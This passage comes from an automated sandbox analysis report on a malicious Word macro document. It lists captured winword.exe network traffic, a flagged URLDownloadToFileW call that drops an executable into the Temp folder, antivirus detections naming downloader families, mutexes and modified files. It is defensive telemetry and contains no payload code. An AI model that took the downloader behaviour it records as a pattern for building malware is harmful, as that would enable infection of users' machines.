  745. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010&\\xfa\\x14v\\xc4a\\xe4\\x98f\\xe3\\x07.\\xa2^\\x9e\\xf9\\x8e\\x1egt\\xeeh.u\\xc6m@q\\x90qe\\x14\\x1dkq\\xde\\xf1&\\x9b\\xdd\\xee\\x02\\xf2+\\xcf\\xf4\\x1f\\x12\\xb1\\x864\\xe6\\xc5\\x07\\xa9\\xebr\\xd6 p\\xfa\\xab\\xf0.\\x86@\\xf6n\\x1a\\x90\\x89\\xd7\\xb7\"\\xbc\\x0b:\\x180\\x18\"\\xa3\\x8fi\\xc3\\xba\\xa4\\xf5w\\xe7%\\xfd\\x98\\xae\n\\x80\\xf3n\\xcf\\xd0\\xca2\\xb6m#k/|\\xb8\\xeb@%\\xf2\\xee_e\\xd4\\xd2y#.\\xd5{\\xa5$\\xdan\\xad\\xbc\\xba\\xec\\xf3h\\x7f{\\xfa\\x9c/\\x10+{\\xa0\\xadkl\\xa6d\\xa97\n4\\xf9\\xebz\\xea\\xc4\\xc3\\xe5dv)8t\\xe5\\x1d\\xa3>o\\x04\\x9c\\xc9\\xba\\xd1\\xa5\\xe7[\\x0f\\x96\\x03t_\\xdcz\\xef\\x86\\x0cf\\xe2\\x9e\\x9c/r\\x91\\xf9\\x94\\x03\\xc1\\xb6rh\\x10%\\xcf\t\\x04\\xa0se\\xdd\\xc3\\xc7\\xee\\x87[n\\xcf\\x1b\\xcb\\xa3\n\\x12\\xcd\\xed\\x8f\\xa0@\\xca\\x9c\\xfbt\\x00\\x8fr$^/\\xc4\\xc5\\x85\\xb5x\\xd03q}]\\x8d\\x0ct\\\\xe9"
  746. },
  747. {
  748. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010cd\\xf9\\x8e\\x89\\x1e\\x12\\xdae\\xcd\\xd9w\\x99u\\xb5m\\x0fo:c\\xe10\\x07\\xd9w\\x1b\r\\x9c\\xafm\\xafg,\\xc8r\\x92v\\x0c\\xd7\\x91\\x8b\\xc4\\xad\\xeb?%\\x1d;_<t)\\xa0~\\xe6\\x97=}kc!\\x87\\xdc\\xdc\\xced\\x9b\\xa1\\x94rq\\xcb\\xdaca\\xdeo\\xb2\\x87\\xb2\\xb2f;\\x1e\\xfcw\\xd1\\x1er(\\xde\\xad=\\xa3n\\xdf\\xbfd\\x9b\\x9c\\x9c\\xd5\n\\xcf\\x8e\\xbf7\\xd5x\\x8e^sl\\xb0i\\xca\\x10\\xb1\\xca\\xcf\\xee\\xa9x\t\\x00\\xf3\\x9a~\\x02\\x923\\xb8p\\x03\\x17\\x15\\xd7\\xf5m6\\x06!\\x85\\x0f\\xe2\\x81\\x17\"\\xa1\\xc7y\\xc1\\xcf\\x9e\\xb7\\xf8\\x03\\x9b\\x18\\x95i\\x0b\\xe7\\x0eo\\ob\\x8b>\\xb8\\x86k\\xc6\\xfa\\x91/w(\\xf4\\xe6\\x08\\xbc\\xa8\\x94\\xb6\\x85e\\xe2\n\\x82ja*\\xbe\\xa7z\\x0c\"\\xe7i\\h\\xfb\\x94\\xce\\xb9@\\x90\\xa4\\x94\\xf3v\\x14<\\xff\\xa99_\\xf3t0_\\xdbx\\xb8g\\x98\\xb9b\\xfe\\xefl\\xbb\\xca\\xa5\\xed\\xbd\\xab\\xca\\xf6\\xf6\\xc0\\xe24\\xc1\\x16(y\\xe3e"
  749. },
  750. {
  751. "http_request": "winword.exe_WSASend_\\xc4\\x001\\x00\\xa8\\xd3m\\x0f\\xed\\x1a\\xf7\\xca\\x83\\x08!\\x83\\xc1\\x0f\\x08e\\xf2;w+\\q\\xf6|\\xa1q\\x10\r\\x08;>\\x8c\\xe7\\xd1\\x1bo,\\x99[o[\\xcaua\\xd4zp<(\\xa0\\xb6\\xafd\\xf7x\\x1d\\xab\\xc3\\og\\xe7\\xae\\xdb\\x9azfp]\\xd0s\\x89y\\xac\\x08jh\\xa8\\xdd*z\\xf8:\\xf7^w\\xa5r \\xc0\\x97e>\\xe0b\\xc3:\\x06r\\x9azy\\xd4/\\x9d\\xec\\xcdw\\x1e\\xa5o\\xc0x,%\\x8f\\x82\\x9d\\xd7^\\xf6\\xd6`\\xdf.u\\xa8\\xbd\\x9b\\xfa\\xdd\\x01\\xa9\\xf8y\\xc2jv\\x83>\\xe0\\xc5\\x1a\\xedmm\\x85\\xec\\x87`;g\\x0c,:\\xecjsh\\x919\\xa7m\\xeakes)[g\\xdd\\x0f\\xc6z6\\x9cr\\xd2j(c\\xa0&\\xdf5\\xfer\\xebw\\xf9w9pex1\\xe4\\xc4\\x1e\\x10\\x98t\\\\xd7':\\x9eec\\xba\\x1a>~\\xb6\\xeb\\xa2\\x00\\xefr\\x829\\xd9\\x1ap=\\xf9\t-\\xf6<qq\\xd3\\x89\\xe6m,n\\x96\\xad\\xb2o\\x9d\\x8d\\xe6\\x0e\\x81xc\\xd0e?"
  752. },
  753. {
  754. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf6\\x9c\\xc7\\x87\\x1d\\xdf\\xa0\\xe8w\\x1efi\\xd8\\xc04\\xec*\\xd0\\x05\\xc4k\\xea\\x95\\x81\\x87\\xf6\\xa7\\x06\\x99\\x07\\x1c\"\\x8e\\xf4\\xb2\\x81,\\xbc\\xc0\\xe1;c!\\x04\\xa1\\xa4\\xbf\\xc5bzx\\x08/oe\\x98e\\x16\\xe0\\xfce\\xe6x\\xd9\\xd2?r\\xfe\\xe0vv\\x0c*\\xa4\\x8ax\\x17\\xcc\\x9f\\xb0ya!\\xb8\n\\xd7\\xf8}srjn*\\xf9\\xb0\\x9f\\xdc\\x90ic?\\xd7o\\x9b\\x00a\\x17\\xb5n\\x13q5\\x9a\\xdb\\xc9\\xf2p\\xd8\\xec\\xc3\\xc1\\xfcc'\\xb2\\xd9q%c3\\xda]\\x13b<\\x83cbky\\xb7;o\\xc2\\xa9(\\x9b\\x01h\\xdf\\xe6\\x1b\\xa3\\x12\\xc7\\xb5\\x95\\x89r\\x17\\xbd\\xda\\x1d_\\xfe\\x92m:\\xbe\\xe0\\xfc\\xee\\xe5\\xcc4z~\\x84\\xc9\\xe8$\\xecr\\xf8\\xea\\xbat\\xd5|\\xb8\\x91\\x9c\\x17dv\\xbc7\\xbf\\xde>\\xc9\\x94$\\xda\\x9c \\xd4\\x812\\xf3^\\xc6b\\xe7jl\\xe1\\xdf\\xd0?oa;x\\x19\\x10\\xd2\\xb6b\\xa2j\\x13e2\\xd7\\x1a1\\x9b\\x19\\xd0\\xf3:\\xa8\\x9f=\\x85\\x90\\x15t\\xe6\\x96"
  755. },
  756. {
  757. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.s\\xb1_0\\xb1\r\\x95\r\\xc0\\xc3\\x15\\xdc\\xe7;w\\x07\\xd1\\x97\\xe7a\\x94s\\xbf\\xd1\\xcf}i\\xa2*w\\xdegp\\xa0)\\x94j@=\\x938\\xf3\\xfd\\xbe5\\xcc*\\x91\\xb8\\xaaq5j\\xa7\\x17\\xd2\\x84s\\xad\\xbf\\xce?\\x9d\\xf9-\\x15\\x0c\\xc4p\\x9f\\xcbw\\x10\\xe6b\\x1e\\xf8r\\xfee{\\xf1\\xe9i\\xc8\\xc9\\xa6\\xd9ku\\xa7)\\xe6b\r\\x82\\xf8v\\x0fr\\xfd\\x00j\r\\xe0`ni\\xd9[\\x9f,\\xe8\\x1e\\xda\\x08a|\\x0f\\xe7\\xc8\\xff\\x88\\xe7\\x19\\x8f\\xa2\\xefq\\x99\\x97\\x94\\xc6\\xce\r3\\x80\\xde\\xbbh}\\xdd\\x96\\xac\\xa0\\x9b\\xf5r\\xed\\xdf*\\x95\\xb4\\x87xa}v8w\\x02\\xa3\\x9dl\\xac\\xf1\\xff\\xb7\\xf2\\xd5\\x15\\xb2\\x15(\t#\\xcd\\xd8q\\xc3\\xf7\t\\xf8\\xf5\\xf7y\\xb8r\\xdc\\x825\\xda\\xc0\\x92#\\x16\\xb9\\x97k\\xe1\\xb8u\\xa3b\\x89\\x8f\\x80nlul,`12&\\x97\\x89,o\\xff\\xebx\\xcc\\x9e\\x99~@~u\\xb4\\xae\\xd6\\x05\\xe7\\xd0%#\\xe6\\x17\\xe7\\xb5\\x1dw\\xa5\\xcb.\\xdc\\xb4v"
  758. },
  759. {
  760. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  761. },
  762. {
  763. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  764. },
  765. {
  766. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x0c\\x00\\xd2\\xcbs#\\x9a\\x94\"\\x93\\xbf\\xe2\\xd1\\x0f\\x94#\\x91\\x1e\\x146\\xdb\\xde\\x13\\x03\\x8a\\xec\\x8b_0\\x14\\x1d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  767. },
  768. {
  769. "http_request": "winword.exe_WSASend_\\xe3\\x00\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x12{\\xa8`\\x81mex\\x89\\x9ev\\xe4\\xb1\\x9f\\x14\\x0e\\xdf\\xc3\\xf2{\\x94\\xe1\\x94\\x88\\xcf\\xde\\xe0f\\xd0\\xdd1;\\x12m\\xe3q\\x1cx\\xc0\\x83\\xed\\xee#y\\x87\\x9e?\\xdb\\x05\\x00\\xcf\\xacpdg\\x1a\\x00\\xada\\xc9\\xb0[\\xad\\x95\\x8a\\xfc\\x1f'\"p\\xb4g\\x0b#\\xcbt\\xfb)\\xa7\\xe2\\x80&^\\x08\\x15\\xeeu\\xb8\\xa4\\xdc(\\x9e\\x9f\\x7f6\\x89\\xf5d\\xc6\\x0e\\xc2\\x1b:6\\xfe.9f\\x93\\xb2\\x91\\x0f\\x0b\\x1e\\xac\\x8d\\x02[\\x1d\\x7f\\x03\\xe23q,\\xab\\x93`\\x9d\\xc53'\\xd5x\\x1e\\x9c\\xa0*\\xce\\xe8\\xda\\xb8\t\\xb1\\xcc\\x89\\x8bk@\\x1a\\xf2\\x84\\xc9\\xef\\x95\\x1d\\x1c5\\xb4rn\\xc7\\xf2exie\\xfb70 \\xc2\\xa7\\x7fw5\\xc9\\xb3\\xc4cxh\\xee\\x03f\\xabdw \\x06\\xf5\\xeem|\\xb1\\xf9\\xfe\\xd8\\xdb\\x0f5!q\\xa4o\\xaf\\xf8\\xb7xi\\x85aw\\x9e4+\\xea\\x0c\\xdf3\\xf2\\xd8w\\x80nm\\xd1\\xe1\\x17\\x1er\\xed\\x15\\x7f\\xc1\\xd8)%\\xd0i\\xe5\\x8cz\\xe1\\x1c"
  770. },
  771. {
  772. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\xaci\\xf2,#|\\xcf\\xef&\\xde~_fk\\xa9\\xcc\\xfb\\x8at\\x07\\xab\\xdf\\xce\\x154\\x03r\\x03b\\xa5\\x18o\\xbc\\xa1\\x16\\x89\\x0cx\\xeci\\x9cl&\\x1b\\xdf\\x00\\x19\\xd7yb@\\xa7\\xf7\\xef\\xe9v\\xe2\\xbf\\x8c\\xac\\x0e\\xc2\\xaar\\x15\\xb6\\xdb\\xc8\\xf11\\xeb\\x10a\\xfc\"iq\\xa6\\xcfu\\x03,\\x9a\\xcc\\xe1 \r\\xa2p\\xd5*u\\xc6\\xecfu\\xb8:2\\x95\\xc2\\xbf\\xb4\\xb5k\\x0b,\\xeb\\x8a \\xe2\\xe0p\n\\xc4!\\x80\"\\x06\\xae?\\x1fo}\\xcc\\x08\\xe0\\xda\\xf1\\x06\\xb4\\x85\\x19bu9ws\\xfb!\\xc3\\xaew/\\xb8\\x9ch\\x9a{\\x16k\\xfc\\xca\\xfa5\\x18\\x03\\xd3\\x01\\x1f\\xb7\\xec\\xd5vr\\x878\\x05\\xf2\\xa6n\\x0f\\x97dryad\\xa80\\xe8\\xe0bl\\xa1u\\x03\\x1bs]\\xcb\\xde@+\\xa6yj\\xc9\\x7f\\xd3\\xbb\\xc4\\x99\\x15\\x02?\\xc2v\\xd4\\xeb&;\\xeb\\x8b@\\x88\\x17!l0\\xee\\xac\\xad\\x0e\\xb3\\xe9\\xc9\\xd5\\xb7]e\\x05\\xa4\\xff\\xee\\xf5@]\\x17\\x0b2\\xeb\\x87\\x95d]\\xf1\\xa1\\xfd\\xbf\\xa4"
  773. },
  774. {
  775. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\x88\\x13\\xe8@\\x84\\xa8&\\xcc\\xaa ]\\xcc\\xf0\\x879<\\x08\\xeeuq\\xdb\\xfe9\\xf8<\\x8d\\xc9\\x81\\x9f\\xde\\xc8\\xd7\\xf9\\x00\\xc9h\\x01\\x9e j\\xc2\\xfd\\xd2\\xd5v\\xff;:h\\xaa8\\x8b\\xd0z\\x97'/\\xdbn(mo\\xa8{&x\\x1bmp\\xc3t\\xb74y\\xef\\xa0\\xf4\\x80\\x97\\xfdo\\x96b\\xb9n\\xec\\xdf\\xe1/\\xb3z\\xf4\\x83m &\\xe0po\\x15\\x19 u\\xa4s\\x1e\\x94\\xf6m\\x06\\x01\\xc5\\xb9\\xdef\\xf7\\xa1\\xa4\\x96\\xc7\\xe1\\xb0z_\\xf9g\\xae\\xf6m\\x12\\x13hir\\xa007p\\x1c\\xae\\x1c\\xe3m\\xc4\\xcc\\x99\\x9d\\xeb\\xc1\\x08#\\xee\\xfe\\xa7\\xbd\\xe5\\x94\\x84\\xbe\\xac\\x9f4\\xa16\\xaa\\xae\\xc8\\x1a-\\xbb\\x00z\\xb3\\x17\\x88\\x88\\x93\\xf5\\x1f\\xb7oxo\\x00\\xd3\\xf9\\xe7\\x80\\xb8\\xe6\\xec$_\\xee\\xb2\\xe0\\xd8\\x07v6\\xb8\"\\xee\\xb6\\xff\\xaeg\\x02|\\xe5\\xaf[|k\\xf2f\\x1a\\xd3tz\\xb9\\xe3<\\xd5r\\xb7\\x88c\\x89d\\xaf\\x91\\x16od\\xbb\\xfb\\x1fg7\\x98\t`\\xf6\\x15\\x87\\xe9\\xd9u5&"
  776. }
  777. ]
  778. },
  779. {
  780. "Description": "Likely Malicious Office Document DL/Write EXE to disk",
  781. "Details": [
  782. {
  783. "office_dl_write_exe": "winword.exe_URLDownloadToFileW_c:\\users\\user\\appdata\\local\\temp\\ghjbosyuh.exe"
  784. }
  785. ]
  786. },
  787. {
  788. "Description": "File has been identified by 28 Antiviruses on VirusTotal as malicious",
  789. "Details": [
  790. {
  791. "CAT-QuickHeal": "W97M.Downloader.34775"
  792. },
  793. {
  794. "McAfee": "RDN/Generic Downloader.x"
  795. },
  796. {
  797. "VIPRE": "LooksLike.Macro.Malware.gen!d4 (v)"
  798. },
  799. {
  800. "K7GW": "Trojan ( 00536d111 )"
  801. },
  802. {
  803. "K7AntiVirus": "Trojan ( 00536d111 )"
  804. },
  805. {
  806. "Symantec": "W97M.Downloader"
  807. },
  808. {
  809. "ESET-NOD32": "GenScript.DUK"
  810. },
  811. {
  812. "Avast": "Other:Formbook-A [Trj]"
  813. },
  814. {
  815. "ClamAV": "Doc.Downloader.Sload-6961205-0"
  816. },
  817. {
  818. "Kaspersky": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"
  819. },
  820. {
  821. "AegisLab": "Trojan.MSOffice.SLoad.4!c"
  822. },
  823. {
  824. "Comodo": "Malware@#1kmartffg4btp"
  825. },
  826. {
  827. "F-Secure": "Malware.W97M/Dldr.Sload.etkyb"
  828. },
  829. {
  830. "DrWeb": "Exploit.Siggen.20833"
  831. },
  832. {
  833. "TrendMicro": "HEUR_VBA.O.ELBP"
  834. },
  835. {
  836. "McAfee-GW-Edition": "BehavesLike.Downloader.dl"
  837. },
  838. {
  839. "Cyren": "Trojan.BRGN-6"
  840. },
  841. {
  842. "Avira": "W97M/Dldr.Sload.etkyb"
  843. },
  844. {
  845. "Microsoft": "Trojan:Win32/Tiggre!plock"
  846. },
  847. {
  848. "ViRobot": "DOC.Z.Agent.294400.E"
  849. },
  850. {
  851. "ZoneAlarm": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"
  852. },
  853. {
  854. "GData": "Generic.Trojan.Agent.DKOSVM"
  855. },
  856. {
  857. "TACHYON": "Suspicious/W97M.Obfus.Gen.4"
  858. },
  859. {
  860. "Rising": "Malware.Undefined!8.C (TOPIS:E0:vKfE488OygI)"
  861. },
  862. {
  863. "Ikarus": "Trojan-Downloader.VBA.Agent"
  864. },
  865. {
  866. "Fortinet": "VBA/Agent.SM!tr.dldr"
  867. },
  868. {
  869. "AVG": "Other:Formbook-A [Trj]"
  870. },
  871. {
  872. "Qihoo-360": "virus.office.qexvmc.1065"
  873. }
  874. ]
  875. },
  876. {
  877. "Description": "Attempts to create or modify system certificates",
  878. "Details": []
  879. },
  880. {
  881. "Description": "The office file has a macro.",
  882. "Details": [
  883. {
  884. "content": "The file appears to have no content."
  885. }
  886. ]
  887. }
  888. ]
  889.  
  890. [*] Started Service: [
  891. "osppsvc"
  892. ]
  893.  
  894. [*] Executed Commands: []
  895.  
  896. [*] Mutexes: [
  897. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  898. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  899. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  900. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  901. "CicLoadWinStaWinSta0",
  902. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  903. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  904. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  905. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}"
  906. ]
  907.  
  908. [*] Modified Files: [
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_7332dbfe60d0e8505857f41e2a38a119.doc",
  910. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF6E0B67580E12C839.TMP",
  911. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_7332dbfe60d0e8505857f41e2a38a119.doc",
  912. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  913. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{98668843-01B8-4A08-90DF-B060831F4634}.tmp",
  914. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{8CFEE647-E87A-4D8E-B34C-7AD63F8FAC74}.tmp",
  915. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  916. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  917. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  918. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF22F.tmp",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF230.tmp",
  921. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015",
  922. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015",
  923. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08",
  924. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08",
  925. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B8843508DCB3EC28608DC1664AB22960",
  926. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B8843508DCB3EC28608DC1664AB22960",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\cab353A.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3529.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\cab355A.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3645.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3646.tmp",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3647.tmp",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3658.tmp",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3659.tmp",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\cab366B.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\cab365A.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\cab367C.tmp",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\cab366C.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3749.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3739.tmp",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377B.tmp",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3779.tmp",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377C.tmp",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377A.tmp",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37DB.tmp",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37ED.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37DC.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\cab381D.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\cab382D.tmp",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\cab383E.tmp",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\cab383F.tmp",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\cab387E.tmp",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\cab39E7.tmp",
  954. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCC.tmp\\HexagonRadial.glox",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCD.tmp\\rings.glox",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDF.tmp\\iso690.xsl",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDE.tmp\\turabian.xsl",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF2.tmp\\ThemePictureGrid.glox",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCD.tmp\\Content.inf",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BE0.tmp\\APASixthEditionOfficeOnline.xsl",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF2.tmp\\Content.inf",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCC.tmp\\Content.inf",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF1.tmp\\sist02.xsl",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF0.tmp\\architecture.glox",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C41.tmp\\pictureorgchart.glox",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C63.tmp\\InterconnectedBlockProcess.glox",
  968. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C62.tmp\\ThemePictureAccent.glox",
  970. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDF.tmp\\Content.inf",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF0.tmp\\Content.inf",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C41.tmp\\Content.inf",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C83.tmp\\ConvergingText.glox",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BE0.tmp\\Content.inf",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDE.tmp\\Content.inf",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C94.tmp\\gostname.xsl",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C62.tmp\\Content.inf",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF1.tmp\\Content.inf",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C63.tmp\\Content.inf",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C83.tmp\\Content.inf",
  982. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox",
  983. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  984. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3DFC.tmp",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C94.tmp\\Content.inf",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3ECA.tmp",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3EAA.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3E7A.tmp\\Equations.dotx",
  990. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  991. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3F77.tmp",
  993. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox",
  994. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox",
  995. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox",
  996. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226[[fn=turabian]].xsl",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4014.tmp",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3E7A.tmp\\Content.inf",
  999. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox",
  1000. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox",
  1001. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216[[fn=apasixtheditionofficeonline]].xsl",
  1002. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox",
